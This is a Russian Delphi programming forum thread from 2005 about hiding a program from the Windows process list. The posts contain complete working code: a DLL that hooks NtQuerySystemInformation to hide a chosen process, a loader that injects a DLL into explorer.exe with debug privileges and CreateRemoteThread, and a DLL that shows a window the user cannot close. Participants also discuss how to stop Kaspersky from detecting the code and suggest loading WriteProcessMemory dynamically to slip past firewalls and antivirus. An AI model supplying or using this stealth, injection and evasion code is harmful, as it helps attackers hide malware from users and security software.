Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Маскировка программы!? примеры кода?? 
:(
    Опции темы
Nicholas
  Дата 23.8.2005, 16:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 436
Регистрация: 30.9.2004

Репутация: нет
Всего: 0



Нашел здесь код скрытия проги из списка процессов (см. ниже), люди я похоже супер чайник - просто тефаль какой-то smile.
А как прогу снова в списке отобразить???????????

Кстати в TaskMgr (win XP) есть еще вкладка "Приложения" как оттуда прогу убрать и естественно вновь показать?

И самое главное, когда компилю эту DLL мой антивирус Касперского Personal определяет, что объект заражен вирусом HackTool.Win32.hidd.b как Вы мне это объясните???????? А главное как сделать чтобы антивирус не определял? У меня вот с асемблером туго, мож так кто специально вирусок вписал? smile


Самое обидное, что код скрытия из списка процессов очень нужен!

А может не стоит с этим кодом возиться ;) ? Дайте другие поглядеть. Что-то больше нифига найти не могу для WinXP,2K.
Код


//==============================================================================
// Для использования нужно вызвать функцию HideProcess:
// function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL, где
// pid - идентификатор процесса, который нужно спрятать
// HideOnlyFromTaskManager - нужно ли прятать процесс только от TaskManager'а,
// или же от остальных программ, использующих для получения списка процессов
// функцию NtQuerySystemInformation из ntdll.dll.
//
// Пример использования:
// function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
//      external 'nthide.dll';
//
// procedure TForm1.Button1Click(Sender: TObject);
// begin
//    HideProcess(GetCurrentProcessId, False); //спрятать текущий процесс
// end;
//==============================================================================

library nthide;

uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
 0:(
 Characteristics: DWORD);
 1:(
 OriginalFirstThunk:DWORD;
 TimeDateStamp:DWORD;
 ForwarderChain: DWORD;
 Name: DWORD;
 FirstThunk: DWORD);
 end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC = ^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
  ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
  pThunk: PDWORD; ppfn:PFARPROC;
  fFound: LongBool;
  Written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then Exit;
while pImportDesc.Name <> 0 do
 begin
 pszModName := PChar(hmodCaller + pImportDesc.Name);
  if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
 Inc(pImportDesc);
 end;
if (pImportDesc.Name = 0) then Exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do
 begin
 ppfn := PFARPROC(pThunk);
 fFound := (ppfn^ = pfnCurrent);
  if (fFound) then
  begin
   VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, Written);
   WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
   Exit;
  end;
 Inc(pThunk);
 end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions;
var
hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
 try
 ZeroMemory(@me32, sizeof(MODULEENTRY32));
 me32.dwSize := sizeof(MODULEENTRY32);
 Module32First(hSnapShot, me32);
  repeat
  ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule);
  until not Module32Next(hSnapShot, me32);
 finally
 CloseHandle(hSnapShot);
 end;
end;

procedure UninterceptFunctions;
var
hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
try
 ZeroMemory(@me32, sizeof(MODULEENTRY32));
 me32.dwSize := sizeof(MODULEENTRY32);
 Module32First(hSnapShot, me32);
 repeat
  ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule);
 until not Module32Next(hSnapShot, me32);
finally
 CloseHandle(hSnapShot);
end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result := 0;
end;

procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var
hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var
addrMap: PDWORD;
 ptr2: PBOOL;
begin
mypid := 0;
result := False;
hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,'NtHideFileMapping');
if hFirstMapHandle = 0 then Exit;
addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
if addrMap = nil then
 begin
 CloseHandle(hFirstMapHandle);
 Exit;
 end;
addrMap^ := pid;
ptr2 := PBOOL(DWORD(addrMap) + 4);
ptr2^ := HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result := True;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
 UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;

begin
hmap := OpenFileMapping(FILE_MAP_READ, False, 'NtHideFileMapping');
if hmap = 0 then Exit;
try
 mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
 if mapaddr = nil then Exit;
 mypid := mapaddr^;
 hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
 if hideOnlyTaskMan^ then
  begin
  fname := allocMem(MAX_PATH + 1);
  GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
   if not (ExtractFileName(fname) = 'taskmgr.exe') then Exit;
  end;
 InterceptFunctions;
finally
 UnmapViewOfFile(mapaddr);
 CloseHandle(Hmap);
 DLLProc := @LibraryProc;
end;
end.


PM MAIL ICQ   Вверх
Quadr0
Дата 23.8.2005, 16:45 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











...

Это сообщение отредактировал(а) Quadr0 - 15.7.2011, 01:14
  Вверх
Dimannn
Дата 23.8.2005, 17:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 318
Регистрация: 14.4.2005
Где: Владимир

Репутация: нет
Всего: 1



Цитата(Quadr0 @ 23.8.2005, 16:45)
И самое главное, когда компилю эту DLL мой антивирус Касперского Personal определяет, что объект заражен вирусом HackTool.Win32.hidd.b


Касперскому вообще наверно не нравиться вызов HideProcess.
Станет ли ворд вызывать такое? smile

А можно мне кажется не с помощью external, а помощью LoadLibrary попробовать
(извени, код не читал: некогда).

А вот вот, что действительно скрывает. Сам проверял:

Код

program load;



uses
  SysUtils,
  TlHelp32,
  Windows;

const
  DLLName = 'hooklib.dll';

function KillTask(ExeFileName: string): integer;
const  
 PROCESS_TERMINATE=$0001;
var  
 ContinueLoop: BOOL;  
 FSnapshotHandle: THandle;  
 FProcessEntry32: TProcessEntry32;  
begin  
 result := 0;  

 FSnapshotHandle := CreateToolhelp32Snapshot  
                    (TH32CS_SNAPPROCESS, 0);  
 FProcessEntry32.dwSize := Sizeof(FProcessEntry32);  
 ContinueLoop := Process32First(FSnapshotHandle,  
                                FProcessEntry32);  

 while integer(ContinueLoop) <> 0 do  
 begin  
   if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =  
        UpperCase(ExeFileName))  
    or (UpperCase(FProcessEntry32.szExeFile) =  
        UpperCase(ExeFileName))) then
     Result := FProcessEntry32.th32ProcessID;
   ContinueLoop := Process32Next(FSnapshotHandle,  
                                 FProcessEntry32);  
 end;  

 CloseHandle(FSnapshotHandle);
end;




//  Пока наш процесс не получит отлабочные привилегии,
//  весь этот код работать не будет
// =============================================================================
function SetDebugPriv: Boolean;
var
  Token: THandle;
  tkp: TTokenPrivileges;
  ReturnLength: DWORD;
begin
  Result := false;
  // Получаем токен текущего процесса
  if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, Token) then
  begin
    // Получаем Luid привилегии
    if LookupPrivilegeValue(nil, PChar('SeDebugPrivilege'), tkp.Privileges[0].Luid) then
    begin
      // Заполняем необходимые параметры
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      // Включаем привилегию
      Result := AdjustTokenPrivileges(Token, false, tkp, 0, nil, ReturnLength);
    end;
  end;
end;     

//  Функция внедряет библиотеку в удаленный процесс с PID равным ProcessID
//  Для успешного внедрения нужно передать адрес функции LoadLibraryA
//  и путь к загружаемой библиотеке.
//  Строку с путем необходимо разместить в алресном пространстве удаленного процесса
// =============================================================================
function InjectLib(const ProcessID: DWORD): Boolean;
var
  Process: HWND;
  ThreadRtn: FARPROC;
  DllPath: String;
  RemoteDll: Pointer;
  BytesWriten: DWORD;
  Thread: DWORD;
  ThreadId: DWORD;
  ExitCode: DWORD;
begin
  // Устанавливаем отладочные привилегии для нашего процесса
  Result := SetDebugPriv;
  if not Result then Exit;
  Process := 0;
  Thread := 0;
  try
    // Открываем процесс
    Process := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or
      PROCESS_VM_WRITE, True, ProcessID);
    if Process = 0 then Exit;
    // Выделяем в нем память под строку
    DllPath := ExtractFilePath(ParamStr(0)) + DLLName;
    RemoteDll := VirtualAllocEx(Process, nil, Length(DllPath),
      MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE);
    if RemoteDll = nil then Exit;
    // Пишем путь к длл в его адресное пространство
    if not WriteProcessMemory(Process, RemoteDll, PChar(DllPath),
      Length(DllPath), BytesWriten) then Exit;
    if BytesWriten <> DWORD(Length(DllPath)) then Exit;
    // Получаем адрес функции из Kernel32.dll
    ThreadRtn := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryA');
    if ThreadRtn = nil then Exit;
    // Запускаем удаленный поток
    Thread := CreateRemoteThread(Process, nil, 0, ThreadRtn, RemoteDll, 0, ThreadId);
    if Thread = 0 then Exit;
    // Ждем пока удаленный поток отработает...
    if (WaitForSingleObject(Thread, INFINITE) = WAIT_OBJECT_0) then
      if GetExitCodeThread(Thread, ExitCode) then
        Result := ExitCode = 0;
  finally
    // Удаленный поток свою задачу выполнил и загрузил нашу библиотеку,
    // можно освобождать занятую память...
    if RemoteDll <> nil then
      VirtualFreeEx(Process, @RemoteDll, 0, MEM_RELEASE);
    if Thread <> 0 then CloseHandle(Thread);
    if Process <> 0 then CloseHandle(Process);  
  end;
end;

begin
  InjectLib(KillTask('explorer.exe'));
end.
 


А в hooklib длл делаешь примерно это:

Код

Library HookDLL;

uses
  Windows,
  Messages,
  SysUtils,
  Tlhelp32;

Var Th: Cardinal;

 function KillTask(ExeFileName: string): integer;  
const  
 PROCESS_TERMINATE=$0001;  
var  
 ContinueLoop: BOOL;  
 FSnapshotHandle: THandle;  
 FProcessEntry32: TProcessEntry32;  
begin  
 result := 0;  

 FSnapshotHandle := CreateToolhelp32Snapshot  
                    (TH32CS_SNAPPROCESS, 0);  
 FProcessEntry32.dwSize := Sizeof(FProcessEntry32);  
 ContinueLoop := Process32First(FSnapshotHandle,  
                                FProcessEntry32);  

 while integer(ContinueLoop) <> 0 do  
 begin  
   if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =  
        UpperCase(ExeFileName))  
    or (UpperCase(FProcessEntry32.szExeFile) =  
        UpperCase(ExeFileName))) then
     Result := FProcessEntry32.th32ProcessID;
   ContinueLoop := Process32Next(FSnapshotHandle,  
                                 FProcessEntry32);  
 end;  

 CloseHandle(FSnapshotHandle);  
end;

Procedure Show;
Var msg: tagMSG;
    {WindowsCalss: TWndClass; }
    Handle, h1: HWND;
begin
  { With WindowsCalss do begin
     lpfnWndProc:=@DefWindowProc;
     hInstance:=KillTask('explorer.exe');
     hbrBackground:=CreateSolidBrush(RGB(128,128,128));
     lpszClassName:='NEWWNDCLASS'
   end;
   RegisterClass(WindowsCalss);  }

  Handle:=CreateWindow( 'STATIC','',WS_POPUP or WS_BORDER ,300,300,500,100,GetDesktopWindow,0,KillTask('explorer.exe'),nil);
  h1:=CreateWindow( 'STATIC','        SORRY. THERE IS NO ESCAPE FROM THIS WINDOW.',WS_CHILD or WS_BORDER ,20,20,450,20,Handle,0,KillTask('explorer.exe'),nil);

      ShowWindow(Handle,SW_SHOW);
      ShowWindow(h1,SW_SHOW);
      UpdateWindow(Handle);
      UpdateWindow(h1);


   while GetMessage(msg,0,0,0) do begin
   TranslateMessage(msg);
   DispatchMessage(msg);
   end;


end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
  case dwReason of
    DLL_PROCESS_ATTACH:
    begin
      CreateThread(nil,0,@Show,nil,0,Th);
    end;
  end;
end;

begin
  DLLProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.



То есть сама программа сидит в explorer.exe и погасить её можно только погасив explorer.
Добавлено @ 17:50
Извени. код корявый, но рабочий.
А в продйедуре Show могут быть заветные
Application.Initialize;
Application.run;

Это сообщение отредактировал(а) Dimannn - 23.8.2005, 17:48


--------------------
Хотите быстро и без проблем опубликовать вашу программу в сети за 5 минут?
Тогда потратьте пару минут чтобы посмотреть, что предлагает OpenProject.org.ru
PM MAIL ICQ   Вверх
RaIDeR
Дата 24.8.2005, 01:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 116
Регистрация: 20.6.2005

Репутация: нет
Всего: 4



Цитата
В WindowsXP SP2 спрятать процесс из этого списка вроде бы невозможно в принципе.

Всё работает smile
---
Интерестно, а можно ли какнить без dll'ки обойтись ???

PM MAIL   Вверх
oleg1973
Дата 24.8.2005, 11:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


asm fanat
****


Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: нет
Всего: 34



Код

WriteProcessMemory
CreateRemoteThread

на это будет орать любой фаервалл(ну почти любой)
и еше некоторые АВП


--------------------
SST 465555
icq 200-512-712
PM MAIL WWW ICQ   Вверх
Dimannn
Дата 24.8.2005, 18:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 318
Регистрация: 14.4.2005
Где: Владимир

Репутация: нет
Всего: 1



Цитата(oleg1973 @ 24.8.2005, 11:22)
WriteProcessMemory
CreateRemoteThread


Ну тогда просто надо динамически загружать эти процедуцры.

ЦкшеуЗкщсуыыЬуьщкн заменяем на WriteProcMem;

Код

Type PWRiteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
  nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL;
var H: Cardinal;
    WriteProcMem: PWRiteProcessMemory;
begin
H:=LoadLibrary(kernel32);
If H=0 then RaiseLastOSError;
@WriteProcMem:=GetProcAddress(H,'WriteProcessMemory');
If @WriteProcMem=nil then RaiseLastOSError;

WriteProcMem(Process, RemoteDll, PChar(DllPath),
      Length(DllPath), BytesWriten);

FreeLibrary(H);





--------------------
Хотите быстро и без проблем опубликовать вашу программу в сети за 5 минут?
Тогда потратьте пару минут чтобы посмотреть, что предлагает OpenProject.org.ru
PM MAIL ICQ   Вверх
Bes
Дата 25.8.2005, 15:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 806
Регистрация: 8.12.2004

Репутация: нет
Всего: 7



Все-таки финальный код не для дллки можно. ато с этимми "вместо" не разберусь никак....
Добавлено @ 15:14
Видать мал не по годам. smile
PM MAIL   Вверх
Akella
Дата 27.9.2005, 09:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Творец
****


Профиль
Группа: Модератор
Сообщений: 18485
Регистрация: 14.5.2003
Где: Корусант

Репутация: нет
Всего: 329



Nicholas, какая у тебя ОС? Если WinXP, то стоИт ли SP2??? smile
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0877 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.